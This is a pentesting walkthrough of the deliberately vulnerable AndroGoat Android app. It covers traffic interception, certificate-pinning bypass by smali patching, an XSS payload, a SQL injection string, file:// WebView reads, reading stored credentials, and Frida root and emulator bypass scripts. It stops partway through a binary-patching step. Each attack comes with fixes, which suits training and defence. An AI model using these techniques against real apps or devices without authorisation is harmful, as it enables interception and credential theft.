Introduction

AndroGoat — Complete Android Penetration Testing Walkthrough

Series: Android Pentesting with AndroGoat | Tool Stack: JADX, Burp Suite, Frida, Apktool, ADB

Android applications are everywhere — banking, healthcare, e-commerce, communication. But how secure are they really?

AndroGoat is an intentionally vulnerable Android application built by OWASP to help security researchers and developers understand common Android vulnerabilities hands-on. In this series, I walk through every challenge in AndroGoat — reading the actual source code using JADX, understanding exactly why each vulnerability exists, and exploiting it step by step.

My Lab Setup:

  • Laptop: Kali Linux
  • Virtual Phone: Genymotion (Google Pixel 3— Android 9)
  • Decompiler: JADX GUI
  • ️ Proxy: Burp Suite Community Edition
  • Runtime Hook: Frida + Objection
  • APK Patcher: Apktool

Table of Contents

None

AndroGoat Challenge #1: Intercept HTTP Traffic from an Android App

Series: Android Pentesting with AndroGoat | Difficulty: Beginner | Tool: Burp Suite

What Is This Challenge About?

When an Android app sends data over HTTP (not HTTPS), that traffic is unencrypted. As a pentester, you can sit in the middle and read everything the app sends and receives. This is called a Man-in-the-Middle (MitM) attack.

In this challenge, we intercept the HTTP traffic from the AndroGoat app using Burp Suite as our proxy.

My Lab Setup

  • Laptop: Kali Linux
  • Virtual Phone: Genymotion (Google Pixel 3 — Android 10)
  • Proxy Tool: Burp Suite Community Edition

Step 1 — Install AndroGoat on Genymotion

First, download the AndroGoat APK from the official GitHub:

https://github.com/satishpatnayak/AndroGoat/releases

Then install it on your Genymotion virtual phone using ADB:

bash

adb install ~/Downloads/AndroGoat.apk

You should see Success in the terminal. Now open AndroGoat on your Genymotion phone and tap Network Intercepting. You will see 4 options:

  • HTTP
  • HTTPS
  • Certificate Pinning — OkHTTP3
  • Certificate Pinning — Native

We are starting with HTTP today.

Step 2 — Find Your Kali Linux IP Address

Open terminal and run:

bash

ip a

Look for your wlan0 IP. Mine was:

192.168.1.103

Write this down — you will need it!

Step 3 — Configure Burp Suite

  1. Open Burp Suite on Kali Linux
  2. Go to Proxy → Proxy Settings
  3. Edit the listener:
  • Port: 8080
  • Bind to: All interfaces
  1. Click OK
None

Then go to Proxy → Intercept and make sure Intercept is ON.

Step 4 — Set Proxy on Genymotion Phone

On your Genymotion virtual phone:

  1. Go to Settings → Wi-Fi
  2. Tap the ⚙️ gear icon next to AndroidWifi
  3. Tap the ✏️ pencil/edit icon
  4. Scroll down → tap Advanced options
  5. Change Proxy to Manual
  6. Fill in:
  • Proxy hostname: 192.168.1.103 (your Kali IP)
  • Proxy port: 8080
  1. Tap Save
None

Now all the phone's traffic is being routed through Burp Suite on your Kali machine.

Step 5 — Install the Burp Certificate on the Phone

Android needs to trust Burp Suite's certificate, otherwise it will block the traffic.

Push the Burp certificate to the phone via ADB:

bash

adb push /path/to/cacert.der /sdcard/cacert.cer

You will see: 1 file pushed

Now install it on the phone:

  1. Go to Settings → Security
  2. Tap Encryption & credentials
  3. Tap Install from SD card
  4. Find cacert.cer and tap it
  5. Give it a name (e.g. burp) and install

You will see a small popup at the bottom saying:

cacert.cer is installed.

None
None

Step 6 — Intercept the HTTP Traffic

Now go back to AndroGoat on your Genymotion phone:

  1. Open AndroGoat
  2. Tap Network Intercepting
  3. Tap HTTP
  4. Tap the button inside to trigger a network request

Switch to Burp Suite on your Kali machine.

You will see the HTTP request appear in the Intercept tab!

None

You have successfully intercepted HTTP traffic from the Android app!

What Did We Learn?

What Why It Matters App uses plain HTTP Data is sent with zero encryption We can see all requests Attacker can read sensitive data Proxy sits in the middle Full control over request and response User-Agent shows ok http Reveals the HTTP library the app uses

Key Takeaway

If an app communicates over HTTP instead of HTTPS, anyone on the same network can intercept and read that traffic. As a developer, always use HTTPS. As a pentester, always check for plain HTTP traffic first — it is the easiest win.

AndroGoat Challenge #2: Intercept HTTPS Traffic from an Android App

Series: Android Pentesting with AndroGoat | Difficulty: Beginner-Intermediate | Tool: Burp Suite

What Is This Challenge About?

In Challenge #1 we intercepted plain HTTP traffic — easy because it has zero encryption. Now we go one level harder: HTTPS.

HTTPS traffic is encrypted. On top of that, Android 7 and above (API 24+) has a built-in security rule — apps do NOT trust user-installed certificates by default. This means even if you install Burp's certificate the normal way, Android will still block it for most apps.

So we need to install the Burp certificate as a System-level trusted certificate — the same level as Google and other official CAs.

Step 1 — Trigger the HTTPS Challenge

Open AndroGoat on Genymotion, tap Network Intercepting, then tap HTTPS.

You will see this message at the bottom of the screen:

"Request sent to https://owasp.org Please intercept using Proxy"

The app already sent an HTTPS request to https://owasp.org — but Burp Suite didn't catch it yet. That is expected. Android 10 blocked it because it doesn't trust our Burp certificate at the user level.

Step 2 — Convert Burp Certificate to PEM Format

Burp gives us the certificate in .der format. Android system needs it in .pem format with a special filename. Run this in Kali terminal:

bash

cd /home/kali/Androide/Andro/

bash

openssl x509 -inform DER -in cacert.der -out cacert.pem

Now get the hash Android uses to name system certificates:

bash

openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1

Output:

9a5ba575

Write your hash down. Now rename the certificate file using that hash with .0 at the end:

None

bash

cp cacert.pem 9a5ba575.0

Why .0 at the end? That is just how Android names certificate files in its system store. It expects <hash>.0 format — not a number, just part of the filename.

Step 3 — Get Root Access on Genymotion

bash

adb root

Output:

adbd is already running as root

Genymotion is already rooted by default

Step 4 — The Android 10 Problem (Read-Only System)

This is where it gets tricky. We tried the normal approach first:

bash

adb shell mount -o rw,remount /system

This failed:

mount: '/system' not in /proc/mounts

Why? Android 10 changed how partitions work. The /system folder is no longer a separate partition — it is baked into the root filesystem and is read-only by design. You cannot simply remount it as writable.

We also tried pushing the certificate directly:

bash

adb push 9a5ba575.0 /system/etc/security/cacerts/

This also failed:

remote couldn't create file: Read-only file system

Same reason — Android 10 protects the system partition from being written to, even by root.

Step 5 — The Fix: Tmpfs Memory Mount Trick

Since we cannot write to /system directly, we use a clever workaround. We create a writable copy of the system certificates folder in RAM using tmpfs, then mount it over the original folder. Android reads from our RAM copy instead of the real read-only folder.

Enter the phone shell:

bash

adb shell

Run these commands one by one:

Copy all existing system certificates to a temp folder:

bash

cp -r /system/etc/security/cacerts /data/local/tmp/cacerts

copy our Burp certificate into that temp folder:

bash

cp /sdcard/cacert.cer /data/local/tmp/cacerts/9a5ba575.0

Set correct permissions:

bash

chmod 644 /data/local/tmp/cacerts/9a5ba575.0

Mount a tmpfs (RAM-based writable filesystem) over the system certs folder:

bash

mount -t tmpfs tmpfs /system/etc/security/cacerts

Copy all certs from temp folder into the now-writable mount:

bash

cp /data/local/tmp/cacerts/* /system/etc/security/cacerts/

Fix ownership and permissions:

bash

chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*

Verify the certificate is there:

bash

ls /system/etc/security/cacerts/ | grep 9a5ba575

Output:

9a5ba575.0

Certificate is installed as a system certificate!

Exit the shell:

bash

exit
None

Step 6 — Intercept the HTTPS Traffic

  1. Make sure Burp Suite Intercept is ON
  2. Open AndroGoatNetwork InterceptingHTTPS
  3. Tap the button to trigger the request

Switch to Burp Suite on your Kali machine. You will now see the HTTPS request intercepted:

Notice the top bar in Burp shows:

None
Request to https://owasp.org:443 [172.66.157.115]

You have successfully intercepted HTTPS traffic!

What Did We Learn?

What Why It Matters Android 10 blocks user certs Apps ignore certs installed the normal way/system is read-only Cannot push certs directly even as root Tmpfs trick bypasses thi sCreates writable RAM mount over system folder HTTPS traffic now visible Encrypted traffic fully decrypted by Burp Port 443 usedStandard HTTPS port confirmed in Burp

Key Takeaway

Even HTTPS traffic can be intercepted on a rooted device. The tmpfs trick is a powerful technique that works on Android 10 where traditional remount methods fail. As a developer, HTTPS alone is not enough — you need Certificate Pinning to prevent this kind of interception.

Which brings us to our next challenge…

AndroGoat Challenge #3: Bypass Certificate Pinning (OkHTTP3)

Series: Android Pentesting with AndroGoat | Difficulty: Intermediate | Tools: JADX, Apktool, Burp Suite

What Is Certificate Pinning?

In Challenge #2 we intercepted HTTPS traffic by installing Burp's certificate as a system-level trusted CA. That worked because the app accepted any trusted certificate.

Certificate Pinning takes security one step further. The app hardcodes specific certificate hashes inside its code and only trusts those exact certificates — ignoring everything else, including our Burp certificate.

Think of it like this:

Normal HTTPS = Any valid ID is accepted at the door 🪪 Certificate Pinning = Only your specific Aadhaar number is accepted 🔒

Even though our Burp certificate was trusted by Android's system, the app's OkHTTP3 library had its own internal check that rejected it completely.

Step 1 — Understand What the App is Doing

Open JADX GUI to read the app's source code:

bash

jadx-gui AndroGoat.apk

In the left panel, navigate to:

owasp → sat → agoat → TrafficActivity

Click on TrafficActivity and look for the doPinning() method. You will see this code:

None

java

None
CertificatePinner pinner1 = new CertificatePinner.Builder()
    .add("owasp.org", "sha256/5gsjyidrmWjcLRClfCk+Dd6O0nx1CyFrVUW5wVkwEx0=")
    .add("owasp.org", "sha256/kIdp6NNEd8wsugYyyIYFsi1ylMCED3hZbSR8ZFsa/A4=")
    .add("owasp.org", "sha256/mEflZT5enoR1FuXLgYYGqnVEoZvmf9c2bVBpiOjYQ0c=")
    .build();
OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(pinner1)
    .build();

These are 3 hardcoded SHA256 certificate hashes for owasp.org. The app will only accept connections where the server's certificate matches one of these hashes. Our Burp certificate has a completely different hash, so it gets rejected every time.

Step 2 — Get Our Burp Certificate Hash

We need to replace the app's hardcoded hashes with our Burp certificate's hash. First, get our Burp cert hash:

bash

openssl x509 -in cacert.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

Output:

None
dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg=

This is the SHA256 fingerprint of our Burp certificate — like a unique ID for our certificate.

Step 3 — Decompile the APK

Use Apktool to decompile the APK into smali code (Android's low-level assembly language):

bash

apktool d AndroGoat.apk -o AndroGoat_patched
None

This creates a folder called AndroGoat_patched with all the app's code and resources unpacked.

Step 4 — Find and Replace the Hardcoded Hashes

The certificate pinning code is inside this smali file:

AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity$doPinning$1.smali

Verify the hashes are there:

bash

grep -n "sha256" AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity\$doPinning\$1.smali

Output:

None
193: const-string/jumbo v3, "sha256/5gsjyidrmWjcLRClfCk+Dd6O0nx1CyFrVUW5wVkwEx0="
204: const-string/jumbo v3, "sha256/kIdp6NNEd8wsugYyyIYFsi1ylMCED3hZbSR8ZFsa/A4="
215: const-string/jumbo v3, "sha256/mEflZT5enoR1FuXLgYYGqnVEoZvmf9c2bVBpiOjYQ0c="

Now replace all 3 hashes with our Burp certificate hash:

None

bash

sed -i 's|sha256/5gsjyidrmWjcLRClfCk+Dd6O0nx1CyFrVUW5wVkwEx0=|sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg=|g' AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity\$doPinning\$1.smali

bash

sed -i 's|sha256/kIdp6NNEd8wsugYyyIYFsi1ylMCED3hZbSR8ZFsa/A4=|sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg=|g' AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity\$doPinning\$1.smali

bash

sed -i 's|sha256/mEflZT5enoR1FuXLgYYGqnVEoZvmf9c2bVBpiOjYQ0c=|sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg=|g' AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity\$doPinning\$1.smali

Verify all 3 hashes are now replaced:

bash

grep -n "sha256" AndroGoat_patched/smali_classes2/owasp/sat/agoat/TrafficActivity\$doPinning\$1.smali

Output:

None
193: const-string/jumbo v3, "sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg="
204: const-string/jumbo v3, "sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg="
215: const-string/jumbo v3, "sha256/dWLO/mEiXKfHtvCH43sl5ExFGwT7RjO2m5i59D1QIUg="

All 3 replaced with our Burp hash

Step 5 — Rebuild the APK

Now rebuild the modified smali code back into an APK:

bash

java -jar /usr/share/apktool/apktool.jar b AndroGoat_patched -o AndroGoat_new.apk

Output:

None
I: Smaling smali_classes2 folder into classes2.dex...
I: Building apk file...
I: Built apk into: AndroGoat_new.apk

Step 6 — Sign the APK

Android will not install an unsigned APK. Generate a keystore and sign the new APK:

bash

keytool -genkey -v -keystore my.keystore -alias mykeyalias -keyalg RSA -keysize 2048 -validity 10000

Then sign:

None

bash

jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore my.keystore AndroGoat_new.apk mykeyalias
None

Verify:

bash

jarsigner -verify AndroGoat_new.apk

Output:

None
jar verified.

Step 7 — Install the Patched APK

Uninstall the original app and install our patched version:

bash

adb uninstall owasp.sat.agoat
None

bash

adb install AndroGoat_new.apk
None

Output:

Success

Step 8 — Intercept the Traffic

  1. Make sure Burp Suite Intercept is ON
  2. Open AndroGoat on Genymotion
  3. Tap Network Intercepting
  4. Tap Certificate Pinning — OkHTTP3

Burp Suite now shows:

None
None

Certificate Pinning bypassed! 🎉

What Did We Learn?

What Why It Matters App had 3 hard coded hashes Only those exact certificates were trusted JADX showed us the source code We could read the pinning logic clearly Apktool decompiled the APK Gave us access to the smali code We replaced hashes with Burp's hash App now trusts our Burp certificate Re-signed and reinstalled Android requires signed APKs Burp intercepted the traffic Pinning completely bypassed

Key Takeaway

Certificate Pinning is a strong security measure but it can be bypassed if the attacker has access to the APK. The hashes were hardcoded in the smali code — by replacing them with our own certificate's hash, we made the app trust our Burp proxy.

As a developer, never rely on certificate pinning alone. Use root detection, tamper detection, and obfuscation alongside pinning to make bypassing much harder.

AndroGoat — Challenge 2: Unprotected Android Components

Overview

Android apps contain components like Activities, Services, and Broadcast Receivers. When these are marked exported="true" without any permission check, attackers can launch them directly — bypassing authentication entirely.

What We Found in the Manifest

Opening AndroidManifest.xml in JADX revealed two critical exported components:

Exported Activity with Custom URL Scheme:

None
<activity
    android:name="owasp.sat.agoat.AccessControl1ViewActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <data android:scheme="androgoat" android:host="vulnapp"/>
    </intent-filter>
</activity>

Exported Service:

<service
    android:name="owasp.sat.agoat.DownloadInvoiceService"
    android:enabled="true"
    android:exported="true"/>

No permission. No authentication. Open to anyone.

Exploitation

Step 1 — Launch the protected Activity directly via ADB

adb shell am start -n owasp.sat.agoat/.AccessControl1ViewActivity
None

Step 2 — Protected page opens without PIN. Click Download Invoice.

None

Step 3 — Invoice downloaded successfully.

None

Why Does This Work?

In AndroidManifest.xml, the Activity is declared as:

<activity
    android:name="owasp.sat.agoat.AccessControl1ViewActivity"
    android:exported="true">

No permission. No auth check. Any app or ADB command can open it.

Fix

android:exported="false"

Takeaway: exported="true" without a permission check = authentication bypass. Always restrict sensitive component

Insecure Data Storage

Android provides multiple ways to store data locally — SharedPreferences, SQLite, temp files, and external storage. When developers store sensitive data in any of these without encryption, attackers with ADB access can read everything in seconds. This section covers all four storage mechanisms and how each one leaks data.

Insecure Data Storage — Shared Preferences (Part 1)

Apps often save user data locally. If sensitive data is stored without encryption, an attacker with ADB access can read it directly.

Code Analysis (JADX)

None
 SharedPreferences sharedPreference = this$0.getSharedPreferences("users", 0);
editor.putString("username", $username.getText().toString());
editor.putString("password", $password.getText().toString());

File name: users, credentials saved as plaintext. No encryption.

None

Exploitation

adb shell
run-as owasp.sat.agoat
cd shared_prefs
cat users.xml
None

Username and password exposed

Fix

Use EncryptedSharedPreferences from AndroidX Security library instead of regular SharedPreferences.

10:46 AM

Insecure Data Storage — Shared Preferences Part 2

Code Analysis

Opening InsecureStorageSharedPrefs1Activity in JADX, we can see the win condition:

None
private final boolean checkScore(int score) {
    return score > 10000;
}

Score is saved to SharedPreferences with no encryption:

SharedPreferences sharedPreference = getSharedPreferences("score", 0);
editor.putInt("score", score);
editor.putInt("level", level);

What we know from the code:

  • File name: score
  • Keys: score and level
  • Win condition: score must be greater than 10000
  • Each button click adds only 1 point

Exploitation

Step 1 — Open the app and click Score once

This creates the score.xml file on the device.

None

Step 2 — Read the file via ADB

adb shell
run-as owasp.sat.agoat
cd shared_prefs
cat score.xml
None

We can see the score stored in plaintext — no encryption, no protection.

Step 3 — Create a modified score file

Exit the app shell and run from Kali terminal:

The command creates a fake SharedPreferences XML file with score 10001 (above the 10000 win condition) and saves it to /data/local/tmp/ — a writable location on Android that any user can access.

We use /data/local/tmp/ because we can't write directly into the app's private directory, but we can copy from there using run-as.

The weird '"'"' quoting is just a shell trick to include single quotes ' inside a single-quoted string.

echo '<?xml version='"'"'1.0'"'"' encoding='"'"'utf-8'"'"' standalone='"'"'yes'"'"' ?><map><int name="score" value="10001" /><int name="level" value="1" /></map>' > /data/local/tmp/score.xml
None

Step 4 — Inject the file into the app

run-as owasp.sat.agoat cp /data/local/tmp/score.xml /data/data/owasp.sat.agoat/shared_prefs/score.xml

Verify it worked:

run-as owasp.sat.agoat cat /data/data/owasp.sat.agoat/shared_prefs/score.xml
None

Step 5 — Restart the app and click Score

adb shell am force-stop owasp.sat.agoat
adb shell am start -n owasp.sat.agoat/.InsecureStorageSharedPrefs1Activity
None

Click the Score button once — app reads 10001 from file, adds 1, checks score > 10000

None

Fix

Never store game-critical values on the client side. Validate score server-side. If local storage is required, use EncryptedSharedPreferences to prevent tampering.

Insecure Data Storage — SQLite

Code Analysis

Opening InsecureStorageSQLiteActivity in JADX, the app creates a SQLite database and stores credentials directly:

None
this.mDB = openOrCreateDatabase("aGoat", 0, null);
sQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR)");
String qry = "INSERT INTO users (username, password) VALUES('" + $username.getText() + "','" + $password.getText() + "')";

What we know:

  • Database name: aGoat
  • Table: users
  • Columns: username, password
  • No encryption. Plaintext storage.

Exploitation

Step 1 — Enter credentials in the app and click Save

None

Step 2 — Read the database via ADB

adb shell
run-as owasp.sat.agoat
cd databases
sqlite3 aGoat
SELECT * FROM users;
None

Password exposed in plaintext.

Fix

Never store credentials in SQLite without encryption. Use SQLCipher to encrypt the entire database:

Key Takeaway

SQLite databases are stored as plain files on the device. Without encryption, anyone with ADB access can dump every credential in seconds.

Insecure Data Storage — Temp File

Code Analysis

Opening InsecureStorageTempActivity in JADX, the app creates a temp file and writes credentials directly into it:

None
File userinfo = File.createTempFile("users", "tmp", new File(this$0.getApplicationInfo().dataDir));
userinfo.setReadable(true);
userinfo.setWritable(true);
fw.write("username is " + $username.getText() + "\n");
fw.write("password is " + $password.getText() + "\n");

What we know:

  • File saved in /data/data/owasp.sat.agoat/
  • File name pattern: users + random numbers + tmp
  • setReadable(true) makes it world-readable
  • Credentials written as plaintext — no encryption

Exploitation

Step 1 — Enter credentials in the app and click Save

None

Step 2 — List the app directory via ADB

adb shell
run-as owasp.sat.agoat
ls /data/data/owasp.sat.agoat/

The temp file is visible alongside other app data:

cache  code_cache  databases  files  shared_prefs  users8074078909931594477tmp

Step 3 — Read the file

cat users8074078909931594477tmp
None

Password exposed in plaintext.

Fix

Never use temp files to store sensitive data. If temporary storage is needed, delete the file immediately after use and never call setReadable(true):

Key Takeaway

Temp files are not temporary in terms of security risk. Sensitive data written to disk — even briefly — can be read by anyone with ADB access.

Insecure Data Storage — External Storage (SD Card)

Code Analysis

Opening InsecureStorageSDCardActivity in JADX, the app writes credentials to external storage:

None
File userinfo = File.createTempFile("users", "_tmp", this$0.getExternalFilesDir(null));
userinfo.setReadable(true);
fw.write("Username - " + $username.getText() + " Password -" + $password.getText());

What we know:

  • File saved to /sdcard/Android/data/owasp.sat.agoat/files/
  • File name pattern: users + random numbers + _tmp
  • External storage is accessible to any app or user — no run-as needed
  • Credentials written as plaintext

Exploitation

Step 1 — Enter credentials in the app and click Save

None

Step 2 — Read directly from external storage

No run-as required. External storage has no access restrictions:

adb shell
ls /sdcard/Android/data/owasp.sat.agoat/files/
cat /sdcard/Android/data/owasp.sat.agoat/files/users3196713547061577232_tmp
None

Password exposed in plaintext.

Fix

Never store sensitive data on external storage. Use internal storage with proper encryption. If external storage is required, encrypt the data before writing:

Key Takeaway

External storage is a public space — any app with READ_EXTERNAL_STORAGE permission can access it. Sensitive data stored there is exposed to every app on the device, not just attackers with ADB.

Input Validations

User input is the most common attack surface in any application. Android apps are no exception — WebViews that execute JavaScript, SQLite queries built with string concatenation, and QR codes treated as trusted data all create serious vulnerabilities. This section covers XSS, SQL Injection, WebView file access.

Input Validation — XSS (Cross-Site Scripting)

Code Analysis

Opening XSSActivity in JADX, the app loads an HTML page inside a WebView with JavaScript enabled:

None
webSettings.setJavaScriptEnabled(true);
webView.loadDataWithBaseURL(null, "<html>
    ...
    document.write(a.value);  // user input directly written to DOM
    ...
</html>", "text/html", "UTF-8", null);

The user input is passed directly into document.write() with no sanitization or encoding. Anything typed into the field gets rendered as raw HTML.

Exploitation

Step 1 — Open the XSS challenge and type the payload in the Name field:

<script>alert('XSS')</script>

Step 2 — Click Display

The WebView executes the script and an alert popup appears.

None

Fix

Never pass user input directly to document.write(). Sanitize input before rendering:

// Instead of document.write(a.value)
document.getElementById("output").innerText = a.value;

Also disable JavaScript if it's not needed:

webSettings.setJavaScriptEnabled(false);

Key Takeaway

XSS in Android is not just a web problem. Any WebView with setJavaScriptEnabled(true) and unsanitized user input is vulnerable. Treat WebView the same way you treat a browser.

Input Validation — SQL Injection

Code Analysis

Opening SQLinjectionActivity in JADX, the app builds the query by directly concatenating user input:

None
String qry = "SELECT * FROM users WHERE username='" 
    + $username.getText() + "'";

No parameterized query. No sanitization. Raw user input goes straight into the SQL query.

Exploitation

Step 1 — Open the SQLi challenge

Note says minimum 2 users required — we already created users in the SQLite storage challenge.

Step 2 — Type the payload in the Username field:

' OR '1'='1

Step 3 — Click Verify

The query becomes:

SELECT * FROM users WHERE username='' OR '1'='1'

Since 1=1 is always true, the query returns every user in the database.

None

Fix

Use parameterized queries instead of string concatenation:

// Vulnerable
String qry = "SELECT * FROM users WHERE username='" + username + "'";

// Secure
Cursor result = db.rawQuery(
    "SELECT * FROM users WHERE username=?", 
    new String[]{username}
);

Key Takeaway

SQL Injection is not just a web vulnerability. Any Android app using SQLite with unsanitized input is equally vulnerable. Always use parameterized queries — never concatenate user input into SQL strings.

Input Validation — WebView

Code Analysis

Opening InputValidationsWebViewURLActivity in JADX, every dangerous WebView setting is enabled and user input is loaded directly with no validation:

None
webViewSettings.setAllowFileAccess(true);
webViewSettings.setAllowFileAccessFromFileURLs(true);
webViewSettings.setAllowUniversalAccessFromFileURLs(true);
webView.loadUrl(url); // raw user input, no validation

Any URL the user types gets loaded directly — including file:// URLs that point to sensitive local files.

Exploitation

Step 1 — Open the WebView challenge

Step 2 — Type this in the URL field:

file:///data/data/owasp.sat.agoat/shared_prefs/users.xml

Step 3 — Click Load

The WebView reads the app's private SharedPreferences file and displays it on screen:

None

Password exposed directly in the app UI.

Fix

Disable dangerous WebView settings and validate URLs before loading:

// Disable file access
webViewSettings.setAllowFileAccess(false);
webViewSettings.setAllowFileAccessFromFileURLs(false);
webViewSettings.setAllowUniversalAccessFromFileURLs(false);

// Validate URL before loading
if (url.startsWith("https://")) {
    webView.loadUrl(url);
}

Key Takeaway

A WebView with setAllowFileAccess(true) is a window into the device's filesystem. Attackers can read any file the app has access to — SharedPreferences, databases, tokens — just by typing a file:// URL.

Side Channel Data Leakage

Not all data leaks happen through network traffic or storage files. Android apps often leak sensitive information through side channels — logcat being the most common. Any app or attacker with ADB access can read everything your app prints to the log.

Side Channel Data Leakage

Insecure Logging

Code Analysis

Opening InsecureLoggingActivity in JADX, the app logs credentials directly to logcat:

None
String logMessage = "Username: " + $username.getText() 
    + " and Password: " + $password.getText() + " are verified";
Log.i("Info:", logMessage);

Username and password printed to logcat in plaintext — no masking, no encryption.

Exploitation

Step 1 — Enter credentials in the app and click Verify

None

Step 2 — Read logcat from Kali terminal:

adb logcat | grep "Info:"
None

Result:

Info: Username: anshif and Password: admin are verified

Password exposed in logcat.

Fix

Never log sensitive data. Remove or mask log statements in production:

java

// Never do this
Log.i("Info:", "Username: " + username + " Password: " + password);
// If logging is needed
Log.i("Info:", "Login attempt verified");

Key Takeaway

Logcat is readable by any app with READ_LOGS permission and by anyone with ADB access. Passwords, tokens, and sensitive data should never appear in logs.

Hardcoded Secrets

Secrets hardcoded in source code are not secrets. Any APK can be decompiled in seconds using JADX — exposing API keys, promo codes, AWS credentials, and anything else a developer assumed was hidden inside the binary.

Hardcoded Secrets — Shopping Cart

Code Analysis

Opening HardCodeActivity in JADX, the promo code is hardcoded directly in the source:

None

java

private final String promoCode = "NEW2019";

No server-side validation. No encryption. The secret is sitting in plain sight inside the APK.

Exploitation

Step 1 — Read the promo code from JADX

Step 2 — Enter the promo code in the app

NEW2019

Step 3 — Click Verify

None

Fix

Never hardcode secrets in the source code. Validate promo codes server-side:

// Never do this
private final String promoCode = "NEW2019";

// Instead - validate on server
apiService.validatePromoCode(userInput);

Key Takeaway

Any secret hardcoded in an APK is not a secret. Tools like JADX can decompile any Android app in seconds — API keys, passwords, promo codes — all exposed.

Hardcoded Secrets — AI Chat & Cloud Services

AI Chat — Hardcoded API Key

Code Analysis

Opening AIChatActivity in JADX, the OpenAI API key is hardcoded directly in the source:

None
private final String openAIApiKey = "sk-abcdef1234567890abcdef1234567890abcdef12";

Exploitation

Open the AI Chat screen and type anything, then click Submit.

None

The API key is displayed directly on screen — no reverse engineering needed beyond opening the app.

Cloud Services — Hardcoded AWS Credentials

Code Analysis

Opening CloudServicesActivity in JADX, AWS credentials are hardcoded:

None
private final String aws_access_key_id = "AKIAX56QKKOLPQ7G7ABC";
private final String aws_secret_access_key = "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";
private final String region = "ap-south-2";

Exploitation

Click "View Cloud Services" button — AWS Access Key and Secret Key displayed on screen.

None

Fix

Never hardcode secrets in source code. Use environment variables or a secrets manager:

// Never do this
private final String apiKey = "sk-abcdef...";

// Instead - fetch from secure server at runtime
String apiKey = BuildConfig.API_KEY; // injected at build time

Key Takeaway

Hardcoded secrets in APKs are fully exposed to anyone with JADX. API keys, AWS credentials, and tokens found this way can be used to access paid services, steal data, or cause massive financial damage.

Root Detection Bypass

What is Root Detection?

Android apps use root detection to prevent running on rooted devices. Using Frida, we can hook into the app at runtime and bypass these checks.

Exploitation

Step 1 — Download the fridantiroot script from Frida CodeShare:

https://codeshare.frida.re/@dzonerzy/fridantiroot/

Copy the script and save it as rootbypass.txt

Step 2 — Run Frida with the script:

frida -l rootbypass.txt -f owasp.sat.agoat -U
None

All root checks bypassed

None

Best Fix

// 1. Use Google Play Integrity API (Best)
val integrityManager = IntegrityManagerFactory.create(context)
val request = StandardIntegrityManager.StandardIntegrityTokenRequest
    .builder()
    .setRequestHash(hash)
    .build()

// 2. Use RootBeer Library
val rootBeer = RootBeer(context)
if (rootBeer.isRooted) {
    // Block app
}

// 3. Validate server-side
// Never trust client-side root detection alone
// Send attestation token to server for verification

Key Point

Client-side root detection always bypassable with Frida. Real security = server-side validation using Google Play Integrity API. Client-side checks are just speed bumps, not walls.

Emulator Detection Bypass

Code Analysis

Opening EmulatorDetectionActivity in JADX, the app checks device build properties for emulator-specific keywords:

None
String buildDetails = (Build.FINGERPRINT + Build.DEVICE + Build.MODEL + 
    Build.BRAND + Build.MANUFACTURER + Build.HARDWARE).toLowerCase();

return buildDetails.contains("generic") ||
       buildDetails.contains("genymotion") ||
       buildDetails.contains("vbox") ||
       buildDetails.contains("x86");

If any of these keywords match — "This device is an Emulator".

Exploitation

Step 1 — Create the bypass script:

cat > /tmp/emu_bypass.js << 'EOF'
Java.perform(function() {
    var Build = Java.use('android.os.Build');
    Build.FINGERPRINT.value = "google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys";
    Build.DEVICE.value = "walleye";
    Build.MODEL.value = "Pixel 2";
    Build.BRAND.value = "google";
    Build.PRODUCT.value = "walleye";
    Build.MANUFACTURER.value = "Google";
    Build.HARDWARE.value = "walleye";
    console.log("Build properties spoofed!");
});
EOF
None

Step 2 — Run Frida with the script:

frida -D 127.0.0.1:6555 -f owasp.sat.agoat -l /tmp/emu_bypass.js
None

Step 3 — Click "Check Emulator" in the app

None

Build properties spoofed successfully

Fix

Never rely solely on Build properties for emulator detection. Use Google Play Integrity API for server-side attestation:

val integrityManager = IntegrityManagerFactory.create(context)

Key Takeaway

Build properties are just variables in memory — Frida can change them at runtime in seconds. Real emulator detection requires server-side verification that cannot be tampered with on the client.

Binary Patching

What is Binary Patching?

Binary Patching is the process of modifying an app's compiled code without access to the original source. Using tools like Apktool, attackers decompile the APK into Smali (Android's low-level bytecode), modify the logic, repack, and reinstall it. This allows bypassing client-side security checks that developers assumed were tamper-proof.

None

Code Analysis

Opening BinaryPatchingActivity in JADX, the admin check is hardcoded to false:

None
private final boolean isAdmin;  // default = false

if (this.isAdmin) {
    adminButton.setEnabled(true);  // never reaches here
}

isAdmin is always false — the Administration button is permanently disabled.

Exploitation

Step 1 — Download latest Apktool:

wget https://github.com/iBotPeaches/Apktool/releases/download/v2.11.1/apktool_2.11.1.jar -O apktool_new.jar

Step 2 — Decode the APK:

java -jar apktool_new.jar d AndroGoat.apk -o AndroGoat_decoded2
None

Step 3 — Find the Smali file:

find AndroGoat_decoded2 -name "BinaryPatchingActivity.smali"
None

Step 4 — Patch the condition

In the Smali file, the admin check looks like this:

iget-boolean v2, p0, Lowasp/sat/agoat/BinaryPatchingActivity;->isAdmin:Z
if-eqz v2, :cond_0
None

if-eqz means "if false, skip admin block". Change it to if-nez to invert the condition:

